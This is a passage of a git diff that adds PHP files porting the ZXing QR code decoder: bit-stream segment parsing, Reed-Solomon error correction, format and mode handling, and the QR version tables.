18284-2000 + */ + private static function decodeHanziSegment($bits, + &$result, + $count) + { + // Don't crash trying to read more bits than we have available. + if ($count * 13 > $bits->available()) { + throw FormatException::getFormatInstance(); + } + + // Each character will require 2 bytes. Read the characters as 2-byte pairs + // and decode as GB2312 afterwards + $buffer = fill_array(0, 2 * $count, 0); + $offset = 0; + while ($count > 0) { + // Each 13 bits encodes a 2-byte character + $twoBytes = $bits->readBits(13); + $assembledTwoBytes = (($twoBytes / 0x060) << 8) | ($twoBytes % 0x060); + if ($assembledTwoBytes < 0x003BF) { + // In the 0xA1A1 to 0xAAFE range + $assembledTwoBytes += 0x0A1A1; + } else { + // In the 0xB0A1 to 0xFAFE range + $assembledTwoBytes += 0x0A6A1; + } + $buffer[$offset] = (($assembledTwoBytes >> 8) & 0xFF);//(byte) + $buffer[$offset + 1] = ($assembledTwoBytes & 0xFF);//(byte) + $offset += 2; + $count--; + } + $result .= iconv('GB2312', 'UTF-8', implode($buffer)); + } + + private static function decodeNumericSegment($bits, + &$result, + $count) + { + // Read three digits at a time + while ($count >= 3) { + // Each 10 bits encodes three digits + if ($bits->available() < 10) { + throw FormatException::getFormatInstance(); + } + $threeDigitsBits = $bits->readBits(10); + if ($threeDigitsBits >= 1000) { + throw FormatException::getFormatInstance(); + } + $result .= (self::toAlphaNumericChar($threeDigitsBits / 100)); + $result .= (self::toAlphaNumericChar(($threeDigitsBits / 10) % 10)); + $result .= (self::toAlphaNumericChar($threeDigitsBits % 10)); + $count -= 3; + } + if ($count == 2) { + // Two digits left over to read, encoded in 7 bits + if ($bits->available() < 7) { + throw FormatException::getFormatInstance(); + } + $twoDigitsBits = $bits->readBits(7); + if ($twoDigitsBits >= 100) { + throw FormatException::getFormatInstance(); + } + $result .= (self::toAlphaNumericChar($twoDigitsBits / 10)); + $result .= (self::toAlphaNumericChar($twoDigitsBits % 10)); + } else if ($count == 1) { + // One digit left over to read + if ($bits->available() < 4) { + throw FormatException::getFormatInstance(); + } + $digitBits = $bits->readBits(4); + if ($digitBits >= 10) { + throw FormatException::getFormatInstance(); + } + $result .= (self::toAlphaNumericChar($digitBits)); + } + } + + private static function toAlphaNumericChar($value) + { + if ($value >= count(self::$ALPHANUMERIC_CHARS)) { + throw FormatException::getFormatInstance(); + } + + return self::$ALPHANUMERIC_CHARS[$value]; + } + + private static function decodeAlphanumericSegment($bits, + &$result, + $count, + $fc1InEffect) + { + // Read two characters at a time + $start = strlen($result); + while ($count > 1) { + if ($bits->available() < 11) { + throw FormatException::getFormatInstance(); + } + $nextTwoCharsBits = $bits->readBits(11); + $result .= (self::toAlphaNumericChar($nextTwoCharsBits / 45)); + $result .= (self::toAlphaNumericChar($nextTwoCharsBits % 45)); + $count -= 2; + } + if ($count == 1) { + // special case: one character left + if ($bits->available() < 6) { + throw FormatException::getFormatInstance(); + } + $result .= self::toAlphaNumericChar($bits->readBits(6)); + } + // See section 6.4.8.1, 6.4.8.2 + if ($fc1InEffect) { + // We need to massage the result a bit if in an FNC1 mode: + for ($i = $start; $i < strlen($result); $i++) { + if ($result[$i] == '%') { + if ($i < strlen($result) - 1 && $result[$i + 1] == '%') { + // %% is rendered as % + $result = substr_replace($result, '', $i + 1, 1);//deleteCharAt(i + 1); + } else { + // In alpha mode, % should be converted to FNC1 separator 0x1D + $result . setCharAt($i, chr(0x1D)); + } + } + } + } + } + + private static function decodeByteSegment($bits, + &$result, + $count, + $currentCharacterSetECI, + &$byteSegments, + $hints) + { + // Don't crash trying to read more bits than we have available. + if (8 * $count > $bits->available()) { + throw FormatException::getFormatInstance(); + } + + $readBytes = fill_array(0, $count, 0); + for ($i = 0; $i < $count; $i++) { + $readBytes[$i] = $bits->readBits(8);//(byte) + } + $text = implode(array_map('chr', $readBytes)); + $encoding = ''; + if ($currentCharacterSetECI == null) { + // The spec isn't clear on this mode; see + // section 6.4.5: t does not say which encoding to assuming + // upon decoding. I have seen ISO-8859-1 used as well as + // Shift_JIS -- without anything like an ECI designator to + // give a hint. + + $encoding = mb_detect_encoding($text, $hints); + } else { + $encoding = $currentCharacterSetECI->name(); + } + // $result.= mb_convert_encoding($text ,$encoding);//(new String(readBytes, encoding)); + $result .= $text;//(new String(readBytes, encoding)); + + $byteSegments = array_merge($byteSegments, $readBytes); + } + + private static function decodeKanjiSegment($bits, + &$result, + $count) + { + // Don't crash trying to read more bits than we have available. + if ($count * 13 > $bits->available()) { + throw FormatException::getFormatInstance(); + } + + // Each character will require 2 bytes. Read the characters as 2-byte pairs + // and decode as Shift_JIS afterwards + $buffer = [0, 2 * $count, 0]; + $offset = 0; + while ($count > 0) { + // Each 13 bits encodes a 2-byte character + $twoBytes = $bits->readBits(13); + $assembledTwoBytes = (($twoBytes / 0x0C0) << 8) | ($twoBytes % 0x0C0); + if ($assembledTwoBytes < 0x01F00) { + // In the 0x8140 to 0x9FFC range + $assembledTwoBytes += 0x08140; + } else { + // In the 0xE040 to 0xEBBF range + $assembledTwoBytes += 0x0C140; + } + $buffer[$offset] = ($assembledTwoBytes >> 8);//(byte) + $buffer[$offset + 1] = $assembledTwoBytes; //(byte) + $offset += 2; + $count--; + } + // Shift_JIS may not be supported in some environments: + + $result .= iconv('shift-jis', 'utf-8', implode($buffer)); + } + + private function DecodedBitStreamParser() + { + + } +} diff --git a/includes/qrcodedecoder/Zxing/Qrcode/Decoder/Decoder.php b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/Decoder.php new file mode 100644 index 0000000..ff181ec --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/Decoder.php @@ -0,0 +1,213 @@ +The main class which implements QR Code decoding -- as opposed to locating and extracting + * the QR Code from an image.

    + * + * @author Sean Owen + */ +final class Decoder +{ + + private $rsDecoder; + + public function __construct() + { + $this->rsDecoder = new ReedSolomonDecoder(GenericGF::$QR_CODE_FIELD_256); + } + + public function decode($variable, $hints = null) + { + if (is_array($variable)) { + return $this->decodeImage($variable, $hints); + } elseif ($variable instanceof BitMatrix) { + return $this->decodeBits($variable, $hints); + } elseif ($variable instanceof BitMatrixParser) { + return $this->decodeParser($variable, $hints); + } + die('decode error Decoder.php'); + } + + /** + *

    Convenience method that can decode a QR Code represented as a 2D array of booleans. + * "true" is taken to mean a black module.

    + * + * @param array $image booleans representing white/black QR Code modules + * @param hints decoding hints that should be used to influence decoding + * + * @return text and bytes encoded within the QR Code + * @throws FormatException if the QR Code cannot be decoded + * @throws ChecksumException if error correction fails + */ + public function decodeImage($image, $hints = null) + { + $dimension = count($image); + $bits = new BitMatrix($dimension); + for ($i = 0; $i < $dimension; $i++) { + for ($j = 0; $j < $dimension; $j++) { + if ($image[$i][$j]) { + $bits->set($j, $i); + } + } + } + + return $this->decode($bits, $hints); + } + + + /** + *

    Decodes a QR Code represented as a {@link BitMatrix}. A 1 or "true" is taken to mean a black module.

    + * + * @param BitMatrix $bits booleans representing white/black QR Code modules + * @param hints decoding hints that should be used to influence decoding + * + * @return text and bytes encoded within the QR Code + * @throws FormatException if the QR Code cannot be decoded + * @throws ChecksumException if error correction fails + */ + public function decodeBits($bits, $hints = null) + { + +// Construct a parser and read version, error-correction level + $parser = new BitMatrixParser($bits); + $fe = null; + $ce = null; + try { + return $this->decode($parser, $hints); + } catch (FormatException $e) { + $fe = $e; + } catch (ChecksumException $e) { + $ce = $e; + } + + try { + + // Revert the bit matrix + $parser->remask(); + + // Will be attempting a mirrored reading of the version and format info. + $parser->setMirror(true); + + // Preemptively read the version. + $parser->readVersion(); + + // Preemptively read the format information. + $parser->readFormatInformation(); + + /* + * Since we're here, this means we have successfully detected some kind + * of version and format information when mirrored. This is a good sign, + * that the QR code may be mirrored, and we should try once more with a + * mirrored content. + */ + // Prepare for a mirrored reading. + $parser->mirror(); + + $result = $this->decode($parser, $hints); + + // Success! Notify the caller that the code was mirrored. + $result->setOther(new QRCodeDecoderMetaData(true)); + + return $result; + + } catch (FormatException $e) {// catch (FormatException | ChecksumException e) { + // Throw the exception from the original reading + if ($fe != null) { + throw $fe; + } + if ($ce != null) { + throw $ce; + } + throw $e; + + } + } + + private function decodeParser($parser, $hints = null) + { + $version = $parser->readVersion(); + $ecLevel = $parser->readFormatInformation()->getErrorCorrectionLevel(); + +// Read codewords + $codewords = $parser->readCodewords(); +// Separate into data blocks + $dataBlocks = DataBlock::getDataBlocks($codewords, $version, $ecLevel); + +// Count total number of data bytes + $totalBytes = 0; + foreach ($dataBlocks as $dataBlock) { + $totalBytes += $dataBlock->getNumDataCodewords(); + } + $resultBytes = fill_array(0, $totalBytes, 0); + $resultOffset = 0; + +// Error-correct and copy data blocks together into a stream of bytes + foreach ($dataBlocks as $dataBlock) { + $codewordBytes = $dataBlock->getCodewords(); + $numDataCodewords = $dataBlock->getNumDataCodewords(); + $this->correctErrors($codewordBytes, $numDataCodewords); + for ($i = 0; $i < $numDataCodewords; $i++) { + $resultBytes[$resultOffset++] = $codewordBytes[$i]; + } + } + +// Decode the contents of that stream of bytes + return DecodedBitStreamParser::decode($resultBytes, $version, $ecLevel, $hints); + } + + /** + *

    Given data and error-correction codewords received, possibly corrupted by errors, attempts to + * correct the errors in-place using Reed-Solomon error correction.

    + * + * @param codewordBytes data and error correction codewords + * @param numDataCodewords number of codewords that are data bytes + * + * @throws ChecksumException if error correction fails + */ + private function correctErrors(&$codewordBytes, $numDataCodewords) + { + $numCodewords = count($codewordBytes); +// First read into an array of ints + $codewordsInts = fill_array(0, $numCodewords, 0); + for ($i = 0; $i < $numCodewords; $i++) { + $codewordsInts[$i] = $codewordBytes[$i] & 0xFF; + } + $numECCodewords = count($codewordBytes) - $numDataCodewords; + try { + $this->rsDecoder->decode($codewordsInts, $numECCodewords); + } catch (ReedSolomonException $ignored) { + throw ChecksumException::getChecksumInstance(); + } +// Copy back into array of bytes -- only need to worry about the bytes that were data +// We don't care about errors in the error-correction codewords + for ($i = 0; $i < $numDataCodewords; $i++) { + $codewordBytes[$i] = $codewordsInts[$i]; + } + } +} diff --git a/includes/qrcodedecoder/Zxing/Qrcode/Decoder/ErrorCorrectionLevel.php b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/ErrorCorrectionLevel.php new file mode 100644 index 0000000..38ae6a6 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/ErrorCorrectionLevel.php @@ -0,0 +1,91 @@ +See ISO 18004:2006, 6.5.1. This enum encapsulates the four error correction levels + * defined by the QR code standard.

    + * + * @author Sean Owen + */ +class ErrorCorrectionLevel +{ + private static $FOR_BITS; + private $bits; + private $ordinal; + + public function __construct($bits, $ordinal = 0) + { + $this->bits = $bits; + $this->ordinal = $ordinal; + } + + public static function Init() + { + self::$FOR_BITS = [ + + + new ErrorCorrectionLevel(0x00, 1), //M + new ErrorCorrectionLevel(0x01, 0), //L + new ErrorCorrectionLevel(0x02, 3), //H + new ErrorCorrectionLevel(0x03, 2), //Q + + ]; + } + /** L = ~7% correction */ + // self::$L = new ErrorCorrectionLevel(0x01); + /** M = ~15% correction */ + //self::$M = new ErrorCorrectionLevel(0x00); + /** Q = ~25% correction */ + //self::$Q = new ErrorCorrectionLevel(0x03); + /** H = ~30% correction */ + //self::$H = new ErrorCorrectionLevel(0x02); + /** + * @param bits int containing the two bits encoding a QR Code's error correction level + * + * @return ErrorCorrectionLevel representing the encoded error correction level + */ + public static function forBits($bits) + { + if ($bits < 0 || $bits >= count(self::$FOR_BITS)) { + throw new \InvalidArgumentException(); + } + $level = self::$FOR_BITS[$bits]; + + // $lev = self::$$bit; + return $level; + } + + + public function getBits() + { + return $this->bits; + } + + public function toString() + { + return $this->bits; + } + + public function getOrdinal() + { + return $this->ordinal; + } +} + +ErrorCorrectionLevel::Init(); diff --git a/includes/qrcodedecoder/Zxing/Qrcode/Decoder/FormatInformation.php b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/FormatInformation.php new file mode 100644 index 0000000..fedcb63 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/FormatInformation.php @@ -0,0 +1,190 @@ +Encapsulates a QR Code's format information, including the data mask used and + * error correction level.

    + * + * @author Sean Owen + * @see DataMask + * @see ErrorCorrectionLevel + */ +final class FormatInformation +{ + public static $FORMAT_INFO_MASK_QR; + + /** + * See ISO 18004:2006, Annex C, Table C.1 + */ + public static $FORMAT_INFO_DECODE_LOOKUP; + /** + * Offset i holds the number of 1 bits in the binary representation of i + */ + private static $BITS_SET_IN_HALF_BYTE; + + private $errorCorrectionLevel; + private $dataMask; + + private function __construct($formatInfo) + { + // Bits 3,4 + $this->errorCorrectionLevel = ErrorCorrectionLevel::forBits(($formatInfo >> 3) & 0x03); + // Bottom 3 bits + $this->dataMask = ($formatInfo & 0x07);//(byte) + } + + public static function Init() + { + self::$FORMAT_INFO_MASK_QR = 0x5412; + self::$BITS_SET_IN_HALF_BYTE = [0, 1, 1, 2, 1, 2, 2, 3, 1, 2, 2, 3, 2, 3, 3, 4]; + self::$FORMAT_INFO_DECODE_LOOKUP = [ + [0x5412, 0x00], + [0x5125, 0x01], + [0x5E7C, 0x02], + [0x5B4B, 0x03], + [0x45F9, 0x04], + [0x40CE, 0x05], + [0x4F97, 0x06], + [0x4AA0, 0x07], + [0x77C4, 0x08], + [0x72F3, 0x09], + [0x7DAA, 0x0A], + [0x789D, 0x0B], + [0x662F, 0x0C], + [0x6318, 0x0D], + [0x6C41, 0x0E], + [0x6976, 0x0F], + [0x1689, 0x10], + [0x13BE, 0x11], + [0x1CE7, 0x12], + [0x19D0, 0x13], + [0x0762, 0x14], + [0x0255, 0x15], + [0x0D0C, 0x16], + [0x083B, 0x17], + [0x355F, 0x18], + [0x3068, 0x19], + [0x3F31, 0x1A], + [0x3A06, 0x1B], + [0x24B4, 0x1C], + [0x2183, 0x1D], + [0x2EDA, 0x1E], + [0x2BED, 0x1F], + ]; + } + + /** + * @param maskedFormatInfo1 ; format info indicator, with mask still applied + * @param maskedFormatInfo2 ; second copy of same info; both are checked at the same time + * to establish best match + * + * @return information about the format it specifies, or {@code null} + * if doesn't seem to match any known pattern + */ + public static function decodeFormatInformation($maskedFormatInfo1, $maskedFormatInfo2) + { + $formatInfo = self::doDecodeFormatInformation($maskedFormatInfo1, $maskedFormatInfo2); + if ($formatInfo != null) { + return $formatInfo; + } + // Should return null, but, some QR codes apparently + // do not mask this info. Try again by actually masking the pattern + // first + return self::doDecodeFormatInformation($maskedFormatInfo1 ^ self::$FORMAT_INFO_MASK_QR, + $maskedFormatInfo2 ^ self::$FORMAT_INFO_MASK_QR); + } + + private static function doDecodeFormatInformation($maskedFormatInfo1, $maskedFormatInfo2) + { + // Find the int in FORMAT_INFO_DECODE_LOOKUP with fewest bits differing + $bestDifference = PHP_INT_MAX; + $bestFormatInfo = 0; + foreach (self::$FORMAT_INFO_DECODE_LOOKUP as $decodeInfo) { + $targetInfo = $decodeInfo[0]; + if ($targetInfo == $maskedFormatInfo1 || $targetInfo == $maskedFormatInfo2) { + // Found an exact match + return new FormatInformation($decodeInfo[1]); + } + $bitsDifference = self::numBitsDiffering($maskedFormatInfo1, $targetInfo); + if ($bitsDifference < $bestDifference) { + $bestFormatInfo = $decodeInfo[1]; + $bestDifference = $bitsDifference; + } + if ($maskedFormatInfo1 != $maskedFormatInfo2) { + // also try the other option + $bitsDifference = self::numBitsDiffering($maskedFormatInfo2, $targetInfo); + if ($bitsDifference < $bestDifference) { + $bestFormatInfo = $decodeInfo[1]; + $bestDifference = $bitsDifference; + } + } + } + // Hamming distance of the 32 masked codes is 7, by construction, so <= 3 bits + // differing means we found a match + if ($bestDifference <= 3) { + return new FormatInformation($bestFormatInfo); + } + + return null; + } + + public static function numBitsDiffering($a, $b) + { + $a ^= $b; // a now has a 1 bit exactly where its bit differs with b's + // Count bits set quickly with a series of lookups: + return self::$BITS_SET_IN_HALF_BYTE[$a & 0x0F] + + self::$BITS_SET_IN_HALF_BYTE[(int)(uRShift($a, 4) & 0x0F)] + + self::$BITS_SET_IN_HALF_BYTE[(uRShift($a, 8) & 0x0F)] + + self::$BITS_SET_IN_HALF_BYTE[(uRShift($a, 12) & 0x0F)] + + self::$BITS_SET_IN_HALF_BYTE[(uRShift($a, 16) & 0x0F)] + + self::$BITS_SET_IN_HALF_BYTE[(uRShift($a, 20) & 0x0F)] + + self::$BITS_SET_IN_HALF_BYTE[(uRShift($a, 24) & 0x0F)] + + self::$BITS_SET_IN_HALF_BYTE[(uRShift($a, 28) & 0x0F)]; + } + + public function getErrorCorrectionLevel() + { + return $this->errorCorrectionLevel; + } + + public function getDataMask() + { + return $this->dataMask; + } + + //@Override + public function hashCode() + { + return ($this->errorCorrectionLevel->ordinal() << 3) | (int)($this->dataMask); + } + + //@Override + public function equals($o) + { + if (!($o instanceof FormatInformation)) { + return false; + } + $other = $o; + + return $this->errorCorrectionLevel == $other->errorCorrectionLevel && + $this->dataMask == $other->dataMask; + } +} + +FormatInformation::Init(); diff --git a/includes/qrcodedecoder/Zxing/Qrcode/Decoder/Mode.php b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/Mode.php new file mode 100644 index 0000000..5458b74 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/Mode.php @@ -0,0 +1,128 @@ +See ISO 18004:2006, 6.4.1, Tables 2 and 3. This enum encapsulates the various modes in which + * data can be encoded to bits in the QR code standard.

    + * + * @author Sean Owen + */ +class Mode +{ + public static $TERMINATOR; + public static $NUMERIC; + public static $ALPHANUMERIC; + public static $STRUCTURED_APPEND; + public static $BYTE; + public static $ECI; + public static $KANJI; + public static $FNC1_FIRST_POSITION; + public static $FNC1_SECOND_POSITION; + public static $HANZI; + + private $characterCountBitsForVersions; + private $bits; + + public function __construct($characterCountBitsForVersions, $bits) + { + $this->characterCountBitsForVersions = $characterCountBitsForVersions; + $this->bits = $bits; + } + + public static function Init() + { + + + self::$TERMINATOR = new Mode([0, 0, 0], 0x00); // Not really a mode... + self::$NUMERIC = new Mode([10, 12, 14], 0x01); + self::$ALPHANUMERIC = new Mode([9, 11, 13], 0x02); + self::$STRUCTURED_APPEND = new Mode([0, 0, 0], 0x03); // Not supported + self::$BYTE = new Mode([8, 16, 16], 0x04); + self::$ECI = new Mode([0, 0, 0], 0x07); // character counts don't apply + self::$KANJI = new Mode([8, 10, 12], 0x08); + self::$FNC1_FIRST_POSITION = new Mode([0, 0, 0], 0x05); + self::$FNC1_SECOND_POSITION = new Mode([0, 0, 0], 0x09); + /** See GBT 18284-2000; "Hanzi" is a transliteration of this mode name. */ + self::$HANZI = new Mode([8, 10, 12], 0x0D); + } + + /** + * @param bits four bits encoding a QR Code data mode + * + * @return Mode encoded by these bits + * @throws InvalidArgumentException if bits do not correspond to a known mode + */ + public static function forBits($bits) + { + switch ($bits) { + case 0x0: + return self::$TERMINATOR; + case 0x1: + return self::$NUMERIC; + case 0x2: + return self::$ALPHANUMERIC; + case 0x3: + return self::$STRUCTURED_APPEND; + case 0x4: + return self::$BYTE; + case 0x5: + return self::$FNC1_FIRST_POSITION; + case 0x7: + return self::$ECI; + case 0x8: + return self::$KANJI; + case 0x9: + return self::$FNC1_SECOND_POSITION; + case 0xD: + // 0xD is defined in GBT 18284-2000, may not be supported in foreign country + return self::$HANZI; + default: + throw new \InvalidArgumentException(); + } + } + + /** + * @param version version in question + * + * @return number of bits used, in this QR Code symbol {@link Version}, to encode the + * count of characters that will follow encoded in this Mode + */ + public function getCharacterCountBits($version) + { + $number = $version->getVersionNumber(); + $offset = 0; + if ($number <= 9) { + $offset = 0; + } else if ($number <= 26) { + $offset = 1; + } else { + $offset = 2; + } + + return $this->characterCountBitsForVersions[$offset]; + } + + public function getBits() + { + return $this->bits; + } + +} + +Mode::Init(); diff --git a/includes/qrcodedecoder/Zxing/Qrcode/Decoder/QRCodeDecoderMetaData.php b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/QRCodeDecoderMetaData.php new file mode 100644 index 0000000..1debe2c --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/QRCodeDecoderMetaData.php @@ -0,0 +1,23 @@ +mirrored = $mirrored; + } + + public function isMirrored() + { + return $this->mirrored; + } +} diff --git a/includes/qrcodedecoder/Zxing/Qrcode/Decoder/Version.php b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/Version.php new file mode 100644 index 0000000..0f45da4 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/Version.php @@ -0,0 +1,619 @@ +versionNumber = $versionNumber; + $this->alignmentPatternCenters = $alignmentPatternCenters; + $this->ecBlocks = $ecBlocks; + $total = 0; + if(is_array($ecBlocks)) { + $ecCodewords = $ecBlocks[0]->getECCodewordsPerBlock(); + $ecbArray = $ecBlocks[0]->getECBlocks(); + }else{ + $ecCodewords = $ecBlocks->getECCodewordsPerBlock(); + $ecbArray = $ecBlocks->getECBlocks(); + } + foreach ($ecbArray as $ecBlock) { + $total += $ecBlock->getCount() * ($ecBlock->getDataCodewords() + $ecCodewords); + } + $this->totalCodewords = $total; + } + public function getVersionNumber() + { + return $this->versionNumber; + } + + public function getAlignmentPatternCenters() + { + return $this->alignmentPatternCenters; + } + + public function getTotalCodewords() + { + return $this->totalCodewords; + } + + public function getDimensionForVersion() + { + return 17 + 4 * $this->versionNumber; + } + + public function getECBlocksForLevel($ecLevel) + { + return $this->ecBlocks[$ecLevel->getOrdinal()]; + } + + /** + *

    Deduces version information purely from QR Code dimensions.

    + * + * @param dimension dimension in modules + * @return Version for a QR Code of that dimension + * @throws FormatException if dimension is not 1 mod 4 + */ + public static function getProvisionalVersionForDimension($dimension) + { + if ($dimension % 4 != 1) { + throw FormatException::getFormatInstance(); + } + try { + return self::getVersionForNumber(($dimension - 17) / 4); + } catch (\InvalidArgumentException $ignored) { + throw FormatException::getFormatInstance(); + } + } + + public static function getVersionForNumber($versionNumber) + { + if ($versionNumber < 1 || $versionNumber > 40) { + throw new \InvalidArgumentException(); + } + if(!self::$VERSIONS){ + + self::$VERSIONS = self::buildVersions(); + + } + return self::$VERSIONS[$versionNumber - 1]; + } + + static function decodeVersionInformation($versionBits) + { + $bestDifference = PHP_INT_MAX; + $bestVersion = 0; + for ($i = 0; $i < count(self::$VERSION_DECODE_INFO); $i++) { + $targetVersion = self::$VERSION_DECODE_INFO[$i]; +// Do the version info bits match exactly? done. + if ($targetVersion == $versionBits) { + return self::getVersionForNumber($i + 7); + } +// Otherwise see if this is the closest to a real version info bit string +// we have seen so far + $bitsDifference = FormatInformation::numBitsDiffering($versionBits, $targetVersion); + if ($bitsDifference < $bestDifference) { + $bestVersion = $i + 7; + $bestDifference = $bitsDifference; + } + } +// We can tolerate up to 3 bits of error since no two version info codewords will +// differ in less than 8 bits. + if ($bestDifference <= 3) { + return self::getVersionForNumber($bestVersion); + } +// If we didn't find a close enough match, fail + return null; + } + + /** + * See ISO 18004:2006 Annex E + */ + function buildFunctionPattern() + { + $dimension = self::getDimensionForVersion(); + $bitMatrix = new BitMatrix($dimension); + +// Top left finder pattern + separator + format + $bitMatrix->setRegion(0, 0, 9, 9); +// Top right finder pattern + separator + format + $bitMatrix->setRegion($dimension - 8, 0, 8, 9); +// Bottom left finder pattern + separator + format + $bitMatrix->setRegion(0, $dimension - 8, 9, 8); + +// Alignment patterns + $max = count($this->alignmentPatternCenters); + for ($x = 0; $x < $max; $x++) { + $i = $this->alignmentPatternCenters[$x] - 2; + for ($y = 0; $y < $max; $y++) { + if (($x == 0 && ($y == 0 || $y == $max - 1)) || ($x == $max - 1 && $y == 0)) { +// No alignment patterns near the three finder paterns + continue; + } + $bitMatrix->setRegion($this->alignmentPatternCenters[$y] - 2, $i, 5, 5); + } + } + +// Vertical timing pattern + $bitMatrix->setRegion(6, 9, 1, $dimension - 17); +// Horizontal timing pattern + $bitMatrix->setRegion(9, 6, $dimension - 17, 1); + + if ($this->versionNumber > 6) { +// Version info, top right + $bitMatrix->setRegion($dimension - 11, 0, 3, 6); +// Version info, bottom left + $bitMatrix->setRegion(0, $dimension - 11, 6, 3); + } + + return $bitMatrix; + } + /** + * See ISO 18004:2006 6.5.1 Table 9 + */ + private static function buildVersions() + { + + + return array( + new Version(1, array(), + array(new ECBlocks(7, array(new ECB(1, 19))), + new ECBlocks(10, array(new ECB(1, 16))), + new ECBlocks(13, array(new ECB(1, 13))), + new ECBlocks(17, array(new ECB(1, 9))))), + new Version(2, array(6, 18), + array(new ECBlocks(10, array(new ECB(1, 34))), + new ECBlocks(16, array(new ECB(1, 28))), + new ECBlocks(22, array(new ECB(1, 22))), + new ECBlocks(28, array(new ECB(1, 16))))), + new Version(3, array(6, 22), + array( new ECBlocks(15, array(new ECB(1, 55))), + new ECBlocks(26, array(new ECB(1, 44))), + new ECBlocks(18, array(new ECB(2, 17))), + new ECBlocks(22, array(new ECB(2, 13))))), + new Version(4, array(6, 26), + array(new ECBlocks(20, array(new ECB(1, 80))), + new ECBlocks(18, array(new ECB(2, 32))), + new ECBlocks(26, array(new ECB(2, 24))), + new ECBlocks(16, array(new ECB(4, 9))))), + new Version(5, array(6, 30), + array(new ECBlocks(26, array(new ECB(1, 108))), + new ECBlocks(24, array(new ECB(2, 43))), + new ECBlocks(18, array(new ECB(2, 15), + new ECB(2, 16))), + new ECBlocks(22, array(new ECB(2, 11), + new ECB(2, 12))))), + new Version(6, array(6, 34), + array(new ECBlocks(18, array(new ECB(2, 68))), + new ECBlocks(16, array(new ECB(4, 27))), + new ECBlocks(24, array(new ECB(4, 19))), + new ECBlocks(28, array(new ECB(4, 15))))), + new Version(7, array(6, 22, 38), + array(new ECBlocks(20, array(new ECB(2, 78))), + new ECBlocks(18, array(new ECB(4, 31))), + new ECBlocks(18, array(new ECB(2, 14), + new ECB(4, 15))), + new ECBlocks(26, array(new ECB(4, 13), + new ECB(1, 14))))), + new Version(8, array(6, 24, 42), + array(new ECBlocks(24, array(new ECB(2, 97))), + new ECBlocks(22, array(new ECB(2, 38), + new ECB(2, 39))), + new ECBlocks(22, array(new ECB(4, 18), + new ECB(2, 19))), + new ECBlocks(26, array(new ECB(4, 14), + new ECB(2, 15))))), + new Version(9, array(6, 26, 46), + array(new ECBlocks(30, array(new ECB(2, 116))), + new ECBlocks(22, array(new ECB(3, 36), + new ECB(2, 37))), + new ECBlocks(20, array(new ECB(4, 16), + new ECB(4, 17))), + new ECBlocks(24, array(new ECB(4, 12), + new ECB(4, 13))))), + new Version(10, array(6, 28, 50), + array(new ECBlocks(18, array(new ECB(2, 68), + new ECB(2, 69))), + new ECBlocks(26, array(new ECB(4, 43), + new ECB(1, 44))), + new ECBlocks(24, array(new ECB(6, 19), + new ECB(2, 20))), + new ECBlocks(28, array(new ECB(6, 15), + new ECB(2, 16))))), + new Version(11, array(6, 30, 54), + array(new ECBlocks(20, array(new ECB(4, 81))), + new ECBlocks(30, array(new ECB(1, 50), + new ECB(4, 51))), + new ECBlocks(28, array(new ECB(4, 22), + new ECB(4, 23))), + new ECBlocks(24, array(new ECB(3, 12), + new ECB(8, 13))))), + new Version(12, array(6, 32, 58), + array(new ECBlocks(24, array(new ECB(2, 92), + new ECB(2, 93))), + new ECBlocks(22, array(new ECB(6, 36), + new ECB(2, 37))), + new ECBlocks(26, array(new ECB(4, 20), + new ECB(6, 21))), + new ECBlocks(28, array(new ECB(7, 14), + new ECB(4, 15))))), + new Version(13, array(6, 34, 62), + array(new ECBlocks(26, array(new ECB(4, 107))), + new ECBlocks(22, array(new ECB(8, 37), + new ECB(1, 38))), + new ECBlocks(24, array(new ECB(8, 20), + new ECB(4, 21))), + new ECBlocks(22, array(new ECB(12, 11), + new ECB(4, 12))))), + new Version(14, array(6, 26, 46, 66), + array(new ECBlocks(30, array(new ECB(3, 115), + new ECB(1, 116))), + new ECBlocks(24, array(new ECB(4, 40), + new ECB(5, 41))), + new ECBlocks(20, array(new ECB(11, 16), + new ECB(5, 17))), + new ECBlocks(24, array(new ECB(11, 12), + new ECB(5, 13))))), + new Version(15, array(6, 26, 48, 70), + array(new ECBlocks(22, array(new ECB(5, 87), + new ECB(1, 88))), + new ECBlocks(24, array(new ECB(5, 41), + new ECB(5, 42))), + new ECBlocks(30, array(new ECB(5, 24), + new ECB(7, 25))), + new ECBlocks(24, array(new ECB(11, 12), + new ECB(7, 13))))), + new Version(16, array(6, 26, 50, 74), + array(new ECBlocks(24, array(new ECB(5, 98), + new ECB(1, 99))), + new ECBlocks(28, array(new ECB(7, 45), + new ECB(3, 46))), + new ECBlocks(24, array(new ECB(15, 19), + new ECB(2, 20))), + new ECBlocks(30, array(new ECB(3, 15), + new ECB(13, 16))))), + new Version(17, array(6, 30, 54, 78), + array(new ECBlocks(28, array(new ECB(1, 107), + new ECB(5, 108))), + new ECBlocks(28, array(new ECB(10, 46), + new ECB(1, 47))), + new ECBlocks(28, array(new ECB(1, 22), + new ECB(15, 23))), + new ECBlocks(28, array(new ECB(2, 14), + new ECB(17, 15))))), + new Version(18, array(6, 30, 56, 82), + array(new ECBlocks(30, array(new ECB(5, 120), + new ECB(1, 121))), + new ECBlocks(26, array(new ECB(9, 43), + new ECB(4, 44))), + new ECBlocks(28, array(new ECB(17, 22), + new ECB(1, 23))), + new ECBlocks(28, array(new ECB(2, 14), + new ECB(19, 15))))), + new Version(19, array(6, 30, 58, 86), + array(new ECBlocks(28, array(new ECB(3, 113), + new ECB(4, 114))), + new ECBlocks(26, array(new ECB(3, 44), + new ECB(11, 45))), + new ECBlocks(26, array(new ECB(17, 21), + new ECB(4, 22))), + new ECBlocks(26, array(new ECB(9, 13), + new ECB(16, 14))))), + new Version(20, array(6, 34, 62, 90), + array(new ECBlocks(28, array(new ECB(3, 107), + new ECB(5, 108))), + new ECBlocks(26, array(new ECB(3, 41), + new ECB(13, 